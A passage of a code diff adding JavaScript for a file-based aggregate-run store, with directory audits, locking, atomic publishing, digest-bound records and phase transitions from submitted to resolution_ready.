(!createMissing) { + failAnchor('aggregate_run_root_unreadable', 'runs', + 'The initialized aggregate run root is missing its runs directory.'); + } + runs = await ensurePrivateDirectory(rootToken, RUNS_NAME, 'runs'); + } else { + runs = await openDirectoryHandle(childPath(rootToken.path, RUNS_NAME), 'runs'); + } + } catch (error) { + await claims.handle.close().catch(() => {}); + throw error; + } + return { marker, claims, runs }; +} + +function claimNameFor(runId) { + assertRunId(runId, 'run_id'); + return `${runId}.json`; +} + +async function auditNamespace(claimsToken, runsToken) { + const claimNames = await enumerateDirectory(claimsToken, MAX_AGGREGATE_CLAIMS_DIRECTORY_ENTRIES, 'claims'); + const runNames = await enumerateDirectory(runsToken, MAX_AGGREGATE_RUNS_DIRECTORY_ENTRIES, 'runs'); + const claimTemps = []; + const claims = []; + for (const name of claimNames) { + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name) + || name === LOCK_NAME) { + claimTemps.push(name); + continue; + } + if (!name.endsWith('.json')) { + failAnchor('aggregate_run_foreign_entry', 'claims', + 'The claims directory contains a foreign entry.'); + } + const runId = name.slice(0, -'.json'.length); + assertRunId(runId, 'claims'); + claims.push(runId); + } + await removeStaleTemporaries(claimsToken, claimTemps); + const runTemps = []; + const runs = []; + for (const name of runNames) { + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name) + || name === LOCK_NAME) { + runTemps.push(name); + continue; + } + assertRunId(name, 'runs'); + const child = await openDirectoryHandle(childPath(runsToken.path, name), 'runs'); + await child.handle.close().catch(() => {}); + runs.push(name); + } + await removeStaleTemporaries(runsToken, runTemps); + if (claims.length > MAX_AGGREGATE_RUNS || runs.length > MAX_AGGREGATE_RUNS) { + failAnchor('aggregate_run_flood', 'runs', + `The aggregate run root must not exceed ${MAX_AGGREGATE_RUNS} runs.`); + } + return { claims, runs }; +} + +function allowedRunFile(name) { + return name === ANCHOR_NAME || name === COORDINATION_NAME || name === STAMP_NAME + || name === LOCK_NAME || name === REQUEST_RECORD_NAME || name === REPLY_RECORD_NAME + || name === PLAN_RECORD_NAME + || capturedTest(TEMP_NAME_PATTERN, name) + || capturedTest(LOCK_OWNER_NAME_PATTERN, name); +} + +async function auditRunLayout(dirToken) { + const names = await enumerateDirectory(dirToken, MAX_AGGREGATE_RUN_DIRECTORY_ENTRIES, 'directory'); + const temporaries = []; + for (const name of names) { + if (capturedTest(TEMP_NAME_PATTERN, name) || capturedTest(LOCK_OWNER_NAME_PATTERN, name)) { + temporaries.push(name); + continue; + } + if (!allowedRunFile(name)) { + failAnchor('aggregate_run_foreign_entry', 'directory', + 'The aggregate run directory contains a foreign entry.'); + } + } + return { names, temporaries }; +} + +function durableRunFileNames(names) { + return names.filter((name) => !capturedTest(TEMP_NAME_PATTERN, name) + && !capturedTest(LOCK_OWNER_NAME_PATTERN, name) && name !== LOCK_NAME); +} + +function classifyExactSubmitPrefix(names) { + const durable = durableRunFileNames(names); + if (durable.length === 0) return 'empty'; + const set = new Set(durable); + if (durable.length === 1 && set.has(ANCHOR_NAME)) return 'anchor'; + if (durable.length === 2 && set.has(ANCHOR_NAME) && set.has(COORDINATION_NAME)) { + return 'anchor_coordination'; + } + return null; +} + +async function publishExactIfAbsent(dirToken, name, bytes, maxBytes, field, mismatchCode, mismatchMessage) { + const existing = await readBoundedFile(dirToken, name, maxBytes, field); + if (existing !== null) { + if (!equalBytes(existing.bytes, bytes)) { + failAnchor(mismatchCode, field, mismatchMessage); + } + return { published: false }; + } + const published = await exclusivePublish(dirToken, name, bytes, field); + if (published.published) return { published: true }; + const raced = await readBoundedFile(dirToken, name, maxBytes, field); + if (raced === null) { + failAnchor('aggregate_run_unreadable', field, 'An existing aggregate run file could not be verified.'); + } + if (!equalBytes(raced.bytes, bytes)) { + failAnchor(mismatchCode, field, mismatchMessage); + } + return { published: false }; +} + +async function loadCompleteRun(dirToken, runId, claimRecord) { + const cleaned = await auditRunLayout(dirToken); + await removeStaleTemporaries(dirToken, cleaned.temporaries); + const names = durableRunFileNames(cleaned.names); + if (!names.includes(ANCHOR_NAME) || !names.includes(COORDINATION_NAME) || !names.includes(STAMP_NAME)) { + return { complete: false, names }; + } + const anchorOpened = await readBoundedFile(dirToken, ANCHOR_NAME, MAX_AGGREGATE_ANCHOR_BYTES, ANCHOR_NAME); + const coordOpened = await readBoundedFile(dirToken, COORDINATION_NAME, MAX_AGGREGATE_COORDINATION_BYTES, + COORDINATION_NAME); + if (anchorOpened === null || coordOpened === null) { + failAnchor('aggregate_run_record_corruption', 'directory', + 'A committed aggregate run file is missing.'); + } + const anchor = parseStoredAnchor(anchorOpened.bytes); + const coordination = parseStoredCoordination(coordOpened.bytes); + if (anchor.record.run_id !== runId || coordination.record.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', 'run_id', + 'Stored aggregate run files do not bind the claimed run id.'); + } + if (coordination.record.anchor_digest !== anchor.record.canonical_digest) { + failAnchor('aggregate_run_identity_mismatch', 'anchor_digest', + 'Coordination does not bind the stored anchor digest.'); + } + if (claimRecord.anchor_digest !== anchor.record.canonical_digest + || claimRecord.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', 'claim', + 'The durable claim does not match the stored aggregate anchor.'); + } + await verifyCreationStamp(dirToken, anchor.record, claimRecord.nonce); + await verifyReferencedRecords(dirToken, coordination.record); + return { + complete: true, + names, + anchor, + coordination, + anchorIdentity: { path: anchorOpened.path, dev: anchorOpened.stat.dev, ino: anchorOpened.stat.ino }, + }; +} + +async function assertExactSubmitPrefix(dirToken, prepared, prefixKind) { + if (prefixKind === 'empty') return; + const anchorOpened = await readBoundedFile(dirToken, ANCHOR_NAME, MAX_AGGREGATE_ANCHOR_BYTES, ANCHOR_NAME); + if (anchorOpened === null) { + failAnchor('aggregate_run_unreadable', ANCHOR_NAME, + 'An existing aggregate run file could not be verified.'); + } + parseStoredAnchor(anchorOpened.bytes); + if (!equalBytes(anchorOpened.bytes, prepared.bytes)) { + failAnchor('aggregate_run_identity_conflict', ANCHOR_NAME, + 'Run id already binds a different aggregate anchor.'); + } + if (prefixKind !== 'anchor_coordination') return; + const expectedCoord = initialCoordination(prepared.record); + const coordOpened = await readBoundedFile(dirToken, COORDINATION_NAME, MAX_AGGREGATE_COORDINATION_BYTES, + COORDINATION_NAME); + if (coordOpened === null) { + failAnchor('aggregate_run_unreadable', COORDINATION_NAME, + 'An existing coordination file could not be verified.'); + } + parseStoredCoordination(coordOpened.bytes); + if (!equalBytes(coordOpened.bytes, expectedCoord.bytes)) { + failAnchor('aggregate_run_unreadable', COORDINATION_NAME, + 'An existing coordination file could not be verified.'); + } +} + +async function publishInitialRunFiles(dirToken, prepared, claimRecord) { + const existing = await loadCompleteRun(dirToken, prepared.record.run_id, claimRecord); + if (existing.complete) { + if (existing.anchor.record.canonical_digest !== prepared.record.canonical_digest) { + failAnchor('aggregate_run_identity_conflict', 'run_id', + 'Run id already binds a different aggregate anchor.'); + } + return { created: false, anchor: existing.anchor, coordination: existing.coordination }; + } + const prefixKind = classifyExactSubmitPrefix(existing.names); + if (prefixKind === null) { + failAnchor('aggregate_run_unreadable', 'directory', + 'The claimed run directory is not a complete aggregate run.'); + } + await assertExactSubmitPrefix(dirToken, prepared, prefixKind); + const coord = initialCoordination(prepared.record); + const stamp = bindStampPayload( + prepared.record.run_id, + prepared.record.canonical_digest, + claimRecord.nonce, + ); + if (prefixKind === 'empty') { + await publishExactIfAbsent(dirToken, ANCHOR_NAME, prepared.bytes, MAX_AGGREGATE_ANCHOR_BYTES, + ANCHOR_NAME, 'aggregate_run_identity_conflict', + 'Run id already binds a different aggregate anchor.'); + } + if (prefixKind === 'empty' || prefixKind === 'anchor') { + await publishExactIfAbsent(dirToken, COORDINATION_NAME, coord.bytes, MAX_AGGREGATE_COORDINATION_BYTES, + COORDINATION_NAME, 'aggregate_run_unreadable', + 'An existing coordination file could not be verified.'); + } + await publishExactIfAbsent(dirToken, STAMP_NAME, stamp.bytes, MAX_AGGREGATE_STAMP_BYTES, + STAMP_NAME, 'aggregate_run_dir_swapped', + 'The run directory is not the private aggregate run created for this claim.'); + const loaded = await loadCompleteRun(dirToken, prepared.record.run_id, claimRecord); + if (!loaded.complete) { + failAnchor('aggregate_run_unreadable', 'directory', 'Published aggregate run files did not verify.'); + } + return { created: true, anchor: loaded.anchor, coordination: loaded.coordination }; +} + +function claimsMatch(existing, prepared, marker) { + return existing.run_id === prepared.record.run_id + && existing.anchor_digest === prepared.record.canonical_digest + && existing.submission_idempotency_key === prepared.record.submission_idempotency_key + && existing.root_marker_nonce === marker.record.nonce + && existing.root_marker_digest === marker.record.canonical_digest; +} + +function conflictExistingClaim(existing, prepared, marker) { + if (claimsMatch(existing, prepared, marker)) return null; + if (existing.submission_idempotency_key === prepared.record.submission_idempotency_key + && existing.anchor_digest !== prepared.record.canonical_digest) { + failAnchor('aggregate_run_idempotency_conflict', 'submission_idempotency_key', + 'Submission key already binds a different aggregate anchor.'); + } + failAnchor('aggregate_run_identity_conflict', 'run_id', + 'Run id already binds a different aggregate claim.'); +} + +async function readClaim(claimsToken, runId) { + const opened = await readBoundedFile(claimsToken, claimNameFor(runId), MAX_AGGREGATE_CLAIM_BYTES, 'claim'); + if (opened === null) return null; + const parsed = parseStoredClaim(opened.bytes); + return { ...parsed, stat: opened.stat, path: opened.path }; +} + +async function completeSubmit(ctx, prepared) { + const { root, marker, claims, runs } = ctx; + const namespace = await auditNamespace(claims, runs); + const runId = prepared.record.run_id; + const hasClaim = namespace.claims.includes(runId); + const hasRun = namespace.runs.includes(runId); + if (hasRun && !hasClaim) { + failAnchor('aggregate_run_claim_conflict', 'run_id', + 'An empty or foreign run directory without an exact durable claim is never adopted.'); + } + let claimRecord; + let claimIdentity; + if (!hasClaim) { + if (namespace.claims.length >= MAX_AGGREGATE_RUNS) { + failAnchor('aggregate_run_flood', 'claims', + `The aggregate run root must not exceed ${MAX_AGGREGATE_RUNS} claims.`); + } + const claim = bindClaimPayload({ + schema: AGGREGATE_RUN_CLAIM_SCHEMA_ID, + run_id: runId, + anchor_digest: prepared.record.canonical_digest, + submission_idempotency_key: prepared.record.submission_idempotency_key, + root_marker_nonce: marker.record.nonce, + root_marker_digest: marker.record.canonical_digest, + nonce: RANDOM_BYTES(16).toString('hex'), + }); + const published = await exclusivePublish(claims, claimNameFor(runId), claim.bytes, 'claim'); + if (!published.published) { + const existing = await readClaim(claims, runId); + if (existing === null) { + failAnchor('aggregate_run_unreadable', 'claim', 'A concurrent claim could not be read.'); + } + conflictExistingClaim(existing.record, prepared, marker); + claimRecord = existing.record; + claimIdentity = { path: existing.path, dev: existing.stat.dev, ino: existing.stat.ino }; + } else { + claimRecord = claim.record; + claimIdentity = { path: published.path, dev: published.dev, ino: published.ino }; + } + } else { + const existing = await readClaim(claims, runId); + if (existing === null) { + failAnchor('aggregate_run_unreadable', 'claim', 'A durable claim could not be read.'); + } + conflictExistingClaim(existing.record, prepared, marker); + claimRecord = existing.record; + claimIdentity = { path: existing.path, dev: existing.stat.dev, ino: existing.stat.ino }; + } + + const runPath = childPath(runs.path, runId); + if (!hasRun) { + await mkdirExclusive(runPath, 'run_id'); + await syncDirectory(runs.handle); + } + const dirToken = await openDirectoryHandle(runPath, 'directory'); + let runLock = null; + try { + runLock = await acquireLock(dirToken, AGGREGATE_RUN_LOCK_SCHEMA_ID); + const result = await publishInitialRunFiles(dirToken, prepared, claimRecord); + await reverifyDirectory(root, 'root'); + await reverifyDirectory(claims, 'claims'); + await reverifyDirectory(runs, 'runs'); + await reverifyDirectory(dirToken, 'directory'); + await reopenFileIdentity(claimIdentity, 'claim', MAX_AGGREGATE_CLAIM_BYTES, 'claim'); + const markerAfter = await readAndParseMarker(root); + if (markerAfter === null || markerAfter.record.canonical_digest !== marker.record.canonical_digest + || !sameIdentity(markerAfter.stat, marker.stat)) { + failAnchor('aggregate_run_marker_swapped', 'marker', + 'The aggregate run marker was replaced during use.'); + } + return snapshotRecord({ + created: result.created, + record: result.anchor.record, + coordination: result.coordination.record, + claim: claimRecord, + }); + } finally { + if (runLock !== null) await releaseLock(dirToken, runLock, AGGREGATE_RUN_LOCK_SCHEMA_ID); + await dirToken.handle.close().catch(() => {}); + } +} + +function parseRequestIdentity(value, runId, field) { + const fields = closedObject(value, field, AGGREGATE_REQUEST_IDENTITY_KEYS); + assertRunId(fields.run_id, `${field}.run_id`); + if (fields.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', `${field}.run_id`, + 'Request identity must name the bound run.'); + } + if (typeof fields.request_id !== 'string' || !capturedTest(REQUEST_ID_PATTERN, fields.request_id)) { + failAnchor('invalid_format', `${field}.request_id`, 'Request identity id must match sel-<32hex>.'); + } + assertBoundDigest(fields.digest, `${field}.digest`); + return snapshotRecord(fields); +} + +function bindSelectionRequestRecord(runId, requestIdentity, record) { + if (record === undefined || record === null) { + failAnchor('invalid_type', 'record', 'Selection request record must be a plain JSON data object.'); + } + assertDirectJsonClosure(record, 'record'); + validateSelectionRequestV1(record); + const identity = selectionRequestIdentity(record); + if (identity.run_id !== runId || requestIdentity.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', 'request_identity.run_id', + 'Selection request record must bind the aggregate run id.'); + } + if (identity.request_id !== requestIdentity.request_id || identity.digest !== requestIdentity.digest) { + failAnchor('aggregate_run_identity_mismatch', 'request_identity', + 'Request identity does not match the canonical selection request record.'); + } + const bytes = encodeRecord(record, MAX_AGGREGATE_RECORD_BYTES, REQUEST_RECORD_NAME); + const recordDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_ANCHOR, { + schema: 'codex-co-engineer.aggregate-request-record.v1', + run_id: runId, + request_id: identity.request_id, + digest: identity.digest, + body: record, + }); + return { + record: snapshotRecord(record), + bytes, + identity, + recordDigest, + binding: snapshotRecord({ + run_id: runId, + request_id: identity.request_id, + digest: identity.digest, + record_digest: recordDigest, + }), + }; +} + +function bindReplyRecord(runId, requestIdentity, record) { + if (record === undefined || record === null) { + failAnchor('invalid_type', 'reply_record', 'Selection reply record must be a plain JSON data object.'); + } + assertDirectJsonClosure(record, 'reply_record'); + const fields = closedObject(record, 'reply_record', AGGREGATE_SELECTION_REPLY_INPUT_KEYS); + if (fields.schema !== AGGREGATE_SELECTION_REPLY_SCHEMA_ID) { + failAnchor('invalid_format', 'reply_record.schema', + `Selection reply schema must be exactly "${AGGREGATE_SELECTION_REPLY_SCHEMA_ID}".`); + } + assertRunId(fields.run_id, 'reply_record.run_id'); + if (fields.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', 'reply_record.run_id', + 'Selection reply record must bind the aggregate run id.'); + } + if (fields.request_id !== requestIdentity.request_id) { + failAnchor('aggregate_run_identity_mismatch', 'reply_record.request_id', + 'Selection reply record must bind the committed request id.'); + } + if (!Array.isArray(fields.answers)) { + failAnchor('invalid_type', 'reply_record.answers', 'Selection reply answers must be a dense JSON array.'); + } + const answers = []; + for (let index = 0; index < fields.answers.length; index += 1) { + const answer = closedObject(fields.answers[index], `reply_record.answers[${index}]`, + SELECTION_ANSWER_KEYS); + answers.push(snapshotRecord(answer)); + } + const payload = { + schema: AGGREGATE_SELECTION_REPLY_SCHEMA_ID, + run_id: fields.run_id, + request_id: fields.request_id, + answers, + }; + const canonicalDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_SELECTION_REPLY, payload); + const stored = snapshotRecord({ ...payload, canonical_digest: canonicalDigest }); + return { record: stored, bytes: encodeRecord(stored, MAX_AGGREGATE_RECORD_BYTES, REPLY_RECORD_NAME) }; +} + +function bindPlanRecord(runId, record) { + if (record === undefined || record === null) { + failAnchor('invalid_type', 'resolved_plan_record', + 'Resolved plan record must be a plain JSON data object.'); + } + assertDirectJsonClosure(record, 'resolved_plan_record'); + const fields = closedObject(record, 'resolved_plan_record', AGGREGATE_RESOLVED_PLAN_INPUT_KEYS); + if (fields.schema !== AGGREGATE_RESOLVED_PLAN_SCHEMA_ID) { + failAnchor('invalid_format', 'resolved_plan_record.schema', + `Resolved plan schema must be exactly "${AGGREGATE_RESOLVED_PLAN_SCHEMA_ID}".`); + } + assertRunId(fields.run_id, 'resolved_plan_record.run_id'); + if (fields.run_id !== runId) { + failAnchor('aggregate_run_identity_mismatch', 'resolved_plan_record.run_id', + 'Resolved plan record must bind the aggregate run id.'); + } + if (fields.complete !== true) { + failAnchor('aggregate_run_phase_conflict', 'resolved_plan_record.complete', + 'Resolved plan records must be complete.'); + } + const payload = { + schema: AGGREGATE_RESOLVED_PLAN_SCHEMA_ID, + run_id: fields.run_id, + complete: true, + }; + const canonicalDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RESOLVED_PLAN, payload); + const stored = snapshotRecord({ ...payload, canonical_digest: canonicalDigest }); + return { record: stored, bytes: encodeRecord(stored, MAX_AGGREGATE_RECORD_BYTES, PLAN_RECORD_NAME) }; +} + +async function adoptOrPublishRecord(dirToken, name, prepared, field) { + const existing = await readBoundedFile(dirToken, name, MAX_AGGREGATE_RECORD_BYTES, field); + if (existing === null) { + const published = await exclusivePublish(dirToken, name, prepared.bytes, field); + if (published.published) return { created: true, record: prepared.record }; + const raced = await readBoundedFile(dirToken, name, MAX_AGGREGATE_RECORD_BYTES, field); + if (raced === null) { + failAnchor('aggregate_run_record_corruption', field, 'A committed record could not be read.'); + } + if (!equalBytes(raced.bytes, prepared.bytes)) { + failAnchor('aggregate_run_orphan_conflict', field, + 'A differing orphan record conflicts permanently.'); + } + return { created: false, record: prepared.record }; + } + if (!equalBytes(existing.bytes, prepared.bytes)) { + failAnchor('aggregate_run_orphan_conflict', field, + 'A differing orphan record conflicts permanently.'); + } + return { created: false, record: prepared.record }; +} + +function assertExpectedRevision(value, expected, field) { + if (!capturedHasOwn({ expected_revision: value }, 'expected_revision') && value === undefined) { + failAnchor('missing_key', field, 'expected_revision is mandatory.'); + } + if (!NUMBER_IS_SAFE_INTEGER(value)) { + failAnchor('invalid_format', field, 'expected_revision must be an exact safe integer.'); + } + if (value !== expected) { + failAnchor('aggregate_run_revision_conflict', field, + 'The expected revision does not match the committed coordination head.'); + } +} + +function corruptCommitted(field, message) { + failAnchor('aggregate_run_record_corruption', field, message); +} + +async function verifyCommittedRecord(dirToken, name, digest, field, kind) { + const opened = await readBoundedFile(dirToken, name, MAX_AGGREGATE_RECORD_BYTES, field); + if (opened === null) { + corruptCommitted(field, 'A committed aggregate record is missing.'); + } + let parsed; + try { + parsed = parseCanonicalObject(opened.bytes, field, MAX_AGGREGATE_RECORD_BYTES); + } catch (error) { + if (error instanceof RunContractV1Error) { + corruptCommitted(field, 'A committed aggregate record is malformed.'); + } + throw error; + } + if (kind === 'request') { + try { + validateSelectionRequestV1(parsed); + } catch (error) { + if (error instanceof RunContractV1Error) { + corruptCommitted(field, 'A committed selection request record failed verification.'); + } + throw error; + } + const identity = selectionRequestIdentity(parsed); + const recordDigest = identityBoundDigest(IDENTITY_LABELS.AGGREGATE_RUN_ANCHOR, { + schema: 'codex-co-engineer.aggregate-request-record.v1', + run_id: identity.run_id, + request_id: identity.request_id, + digest: identity.digest, + body: parsed, + }); + if (recordDigest !== digest || !equalBytes(encodeRecord(parsed, MAX_AGGREGATE_RECORD_BYTES, field), opened.bytes)) { + corruptCommitted(field, 'A committed selection request record digest does not match.'); + } + return; + } + if (kind === 'reply') { + let rebuilt; + try { + rebuilt = bindReplyRecord(parsed.run_id, { request_id: parsed.request_id }, { + schema: parsed.schema, + run_id: parsed.run_id, + request_id: parsed.request_id, + answers: parsed.answers, + }); + } catch (error) { + if (error instanceof RunContractV1Error) { + corruptCommitted(field, 'A committed selection reply record is malformed.'); + } + throw error; + } + if (rebuilt.record.canonical_digest !== digest || !equalBytes(rebuilt.bytes, opened.bytes)) { + corruptCommitted(field, 'A committed selection reply record digest does not match.'); + } + return; + } + let rebuilt; + try { + rebuilt = bindPlanRecord(parsed.run_id, { + schema: parsed.schema, + run_id: parsed.run_id, + complete: parsed.complete, + }); + } catch (error) { + if (error instanceof RunContractV1Error) { + corruptCommitted(field, 'A committed resolved plan record is malformed.'); + } + throw error; + } + if (rebuilt.record.canonical_digest !== digest || !equalBytes(rebuilt.bytes, opened.bytes)) { + corruptCommitted(field, 'A committed resolved plan record digest does not match.'); + } +} + +async function verifyReferencedRecords(dirToken, coordination) { + if (coordination.selection_request_binding !== null) { + await verifyCommittedRecord(dirToken, REQUEST_RECORD_NAME, + coordination.selection_request_binding.record_digest, REQUEST_RECORD_NAME, 'request'); + } + if (coordination.selection_reply_digest !== null) { + await verifyCommittedRecord(dirToken, REPLY_RECORD_NAME, + coordination.selection_reply_digest, REPLY_RECORD_NAME, 'reply'); + } + if (coordination.resolved_plan_digest !== null) { + await verifyCommittedRecord(dirToken, PLAN_RECORD_NAME, + coordination.resolved_plan_digest, PLAN_RECORD_NAME, 'plan'); + } +} + +async function mutateRun(ctx, runId, mutator) { + const { root, marker, claims, runs } = ctx; + const namespace = await auditNamespace(claims, runs); + if (!namespace.claims.includes(runId)) { + failAnchor('aggregate_run_not_found', 'run_id', 'No aggregate run exists for that run id.'); + } + const claim = await readClaim(claims, runId); + if (claim === null) { + failAnchor('aggregate_run_not_found', 'claim', 'No durable claim exists for that run id.'); + } + if (claim.record.root_marker_digest !== marker.record.canonical_digest + || claim.record.root_marker_nonce !== marker.record.nonce) { + failAnchor('aggregate_run_identity_mismatch', 'claim', + 'The durable claim does not bind this storage root marker.'); + } + if (!namespace.runs.includes(runId)) { + failAnchor('aggregate_run_not_found', 'run_id', + 'A durable claim without a complete run directory is not yet an aggregate run.'); + } + const dirToken = await openDirectoryHandle(childPath(runs.path, runId), 'directory'); + let runLock = null; + try { + runLock = await acquireLock(dirToken, AGGREGATE_RUN_LOCK_SCHEMA_ID); + const loaded = await loadCompleteRun(dirToken, runId, claim.record); + if (!loaded.complete) { + failAnchor('aggregate_run_unreadable', 'directory', + 'The claimed run directory is not a complete aggregate run.'); + } + const result = await mutator(dirToken, loaded); + await reverifyDirectory(root, 'root'); + await reverifyDirectory(claims, 'claims'); + await reverifyDirectory(runs, 'runs'); + await reverifyDirectory(dirToken, 'directory'); + await reopenFileIdentity({ path: claim.path, dev: claim.stat.dev, ino: claim.stat.ino }, + 'claim', MAX_AGGREGATE_CLAIM_BYTES, 'claim'); + const markerAfter = await readAndParseMarker(root); + if (markerAfter === null || !sameIdentity(markerAfter.stat, marker.stat) + || markerAfter.record.canonical_digest !== marker.record.canonical_digest) { + failAnchor('aggregate_run_marker_swapped', 'marker', + 'The aggregate run marker was replaced during use.'); + } + return result; + } finally { + if (runLock !== null) await releaseLock(dirToken, runLock, AGGREGATE_RUN_LOCK_SCHEMA_ID); + await dirToken.handle.close().catch(() => {}); + } +} + +async function publishCoordination(dirToken, next) { + await atomicPublish(dirToken, COORDINATION_NAME, next.bytes, COORDINATION_NAME); + const verified = await readBoundedFile(dirToken, COORDINATION_NAME, MAX_AGGREGATE_COORDINATION_BYTES, + COORDINATION_NAME); + if (verified === null || !equalBytes(verified.bytes, next.bytes)) { + failAnchor('aggregate_run_unreadable', COORDINATION_NAME, + 'Published coordination record did not verify.'); + } + return parseStoredCoordination(verified.bytes); +} + +function assertCapturedIdentities(token, audited) { + if (audited.marker.record.canonical_digest !== token.marker_digest + || audited.marker.record.nonce !== token.marker_nonce + || !sameIdentity(audited.marker.stat, { dev: token.marker_dev, ino: token.marker_ino })) { + failAnchor('aggregate_run_marker_swapped', 'marker', + 'The aggregate run marker was replaced during use.'); + } + if (!sameIdentity(audited.claims, { dev: token.claims_dev, ino: token.claims_ino })) { + failAnchor('aggregate_run_claims_swapped', 'claims', + 'The aggregate run claims directory was replaced during use.'); + } + if (!sameIdentity(audited.runs, { dev: token.runs_dev, ino: token.runs_ino })) { + failAnchor('aggregate_run_runs_swapped', 'runs', + 'The aggregate run runs directory was replaced during use.'); + } +} + +function assembleHandle(rootToken, auditedOpen) { + const token = capturedFreeze({ + path: rootToken.path, + dev: rootToken.dev, + ino: rootToken.ino, + marker_digest: auditedOpen.marker.record.canonical_digest, + marker_nonce: auditedOpen.marker.record.nonce, + marker_dev: auditedOpen.marker.stat.dev, + marker_ino: auditedOpen.marker.stat.ino, + claims_dev: auditedOpen.claims.dev, + claims_ino: auditedOpen.claims.ino, + runs_dev: auditedOpen.runs.dev, + runs_ino: auditedOpen.runs.ino, + }); + + async function operate(fn) { + return withRootChain(token, async () => { + const root = await reopenDirectory(token, 'root'); + let namespaceLock = null; + let claims = null; + let runs = null; + try { + const audited = await auditMarkedRoot(root, { createMissing: false }); + claims = audited.claims; + runs = audited.runs; + assertCapturedIdentities(token, audited); + namespaceLock = await acquireLock(root, AGGREGATE_NAMESPACE_LOCK_SCHEMA_ID); + const ctx = { + root, + marker: audited.marker, + claims, + runs, + }; + const result = await fn(ctx); + const rootAfter = await reopenDirectory(token, 'root'); + try { + const auditedAfter = await auditMarkedRoot(rootAfter, { createMissing: false }); + try { + assertCapturedIdentities(token, auditedAfter); + } finally { + await auditedAfter.claims.handle.close().catch(() => {}); + await auditedAfter.runs.handle.close().catch(() => {}); + } + } finally { + await rootAfter.handle.close().catch(() => {}); + } + return result; + } finally { + if (namespaceLock !== null) await releaseLock(root, namespaceLock, AGGREGATE_NAMESPACE_LOCK_SCHEMA_ID); + if (claims !== null) await claims.handle.close().catch(() => {}); + if (runs !== null) await runs.handle.close().catch(() => {}); + await root.handle.close().catch(() => {}); + } + }); + } + + return capturedFreeze({ + root: token.path, + marker_digest: token.marker_digest, + async submit(input) { + const prepared = parseSubmitInput(input); + return operate((ctx) => completeSubmit(ctx, prepared)); + }, + async getByRunId(runId) { + assertRunId(runId, 'run_id'); + return operate(async (ctx) => { + const loaded = await mutateRun(ctx, runId, async (_dir, current) => current); + return loaded.anchor.record; + }); + }, + async getCoordination(runId) { + assertRunId(runId, 'run_id'); + return operate(async (ctx) => { + const loaded = await mutateRun(ctx, runId, async (_dir, current) => current); + return loaded.coordination.record; + }); + }, + async commitSelectionRequest(input) { + if (input === undefined || input === null) { + failAnchor('invalid_type', 'commit', 'commitSelectionRequest requires a plain JSON object.'); + } + assertDirectJsonClosure(input, 'commit'); + const fields = closedObject(input, 'commit', AGGREGATE_COMMIT_REQUEST_KEYS); + assertRunId(fields.run_id, 'run_id'); + const requestIdentity = parseRequestIdentity(fields.request_identity, fields.run_id, 'request_identity'); + const prepared = bindSelectionRequestRecord(fields.run_id, requestIdentity, fields.record); + return operate((ctx) => mutateRun(ctx, fields.run_id, async (dirToken, loaded) => { + assertExpectedRevision(fields.expected_revision, 0, 'expected_revision'); + const current = loaded.coordination.record; + if (current.phase === 'awaiting_selection' && sameBinding(current.selection_request_binding, prepared.binding)) { + await verifyCommittedRecord(dirToken, REQUEST_RECORD_NAME, prepared.recordDigest, + REQUEST_RECORD_NAME, 'request'); + return snapshotRecord({ + created: false, + record: loaded.anchor.record, + coordination: current, + }); + } + if (current.phase !== 'submitted' || current.revision !== 0) { + failAnchor('aggregate_run_revision_conflict', 'expected_revision', + 'commitSelectionRequest requires submitted@0.'); + } + await adoptOrPublishRecord(dirToken, REQUEST_RECORD_NAME, prepared, REQUEST_RECORD_NAME); + const next = bindCoordinationPayload({ + schema: AGGREGATE_RUN_COORDINATION_SCHEMA_ID, + run_id: current.run_id, + anchor_digest: current.anchor_digest, + revision: 1, + phase: 'awaiting_selection', + selection_request_binding: prepared.binding, + selection_reply_digest: null, + resolved_plan_digest: null, + }); + const coordination = await publishCoordination(dirToken, next); + return snapshotRecord({ + created: true, + record: loaded.anchor.record, + coordination: coordination.record, + }); + })); + }, + async commitSelectionResolution(input) { + if (input === undefined || input === null) { + failAnchor('invalid_type', 'commit', 'commitSelectionResolution requires a plain JSON object.'); + } + assertDirectJsonClosure(input, 'commit'); + const fields = closedObject(input, 'commit', AGGREGATE_COMMIT_RESOLUTION_KEYS); + assertRunId(fields.run_id, 'run_id'); + const requestIdentity = parseRequestIdentity(fields.request_identity, fields.run_id, 'request_identity'); + const reply = bindReplyRecord(fields.run_id, requestIdentity, fields.reply_record); + const plan = bindPlanRecord(fields.run_id, fields.resolved_plan_record); + return operate((ctx) => mutateRun(ctx, fields.run_id, async (dirToken, loaded) => { + assertExpectedRevision(fields.expected_revision, 1, 'expected_revision'); + const current = loaded.coordination.record; + if (current.phase === 'resolution_ready' && current.revision === 2 + && current.selection_reply_digest === reply.record.canonical_digest + && current.resolved_plan_digest === plan.record.canonical_digest + && current.selection_request_binding !== null + && current.selection_request_binding.request_id === requestIdentity.request_id + && current.selection_request_binding.digest === requestIdentity.digest) { + return snapshotRecord({ + created: false, + record: loaded.anchor.record, + coordination: current, + }); + } + if (current.phase !== 'awaiting_selection' || current.revision !== 1) { + failAnchor('aggregate_run_revision_conflict', 'expected_revision', + 'commitSelectionResolution requires awaiting_selection@1.'); + } + if (current.selection_request_binding.request_id !== requestIdentity.request_id + || current.selection_request_binding.digest !== requestIdentity.digest + || current.selection_request_binding.run_id !== requestIdentity.run_id) { + failAnchor('aggregate_run_binding_conflict', 'request_identity', + 'Resolution must bind the committed selection request identity.'); + } + await adoptOrPublishRecord(dirToken, REPLY_RECORD_NAME, reply, REPLY_RECORD_NAME); + await adoptOrPublishRecord(dirToken, PLAN_RECORD_NAME, plan, PLAN_RECORD_NAME); + const next = bindCoordinationPayload({ + schema: AGGREGATE_RUN_COORDINATION_SCHEMA_ID, + run_id: current.run_id, + anchor_digest: current.anchor_digest, + revision: 2, + phase: 'resolution_ready', + selection_request_binding: current.selection_request_binding, + selection_reply_digest: reply.record.canonical_digest, + resolved_plan_digest: plan.record.canonical_digest, + }); + const coordination = await 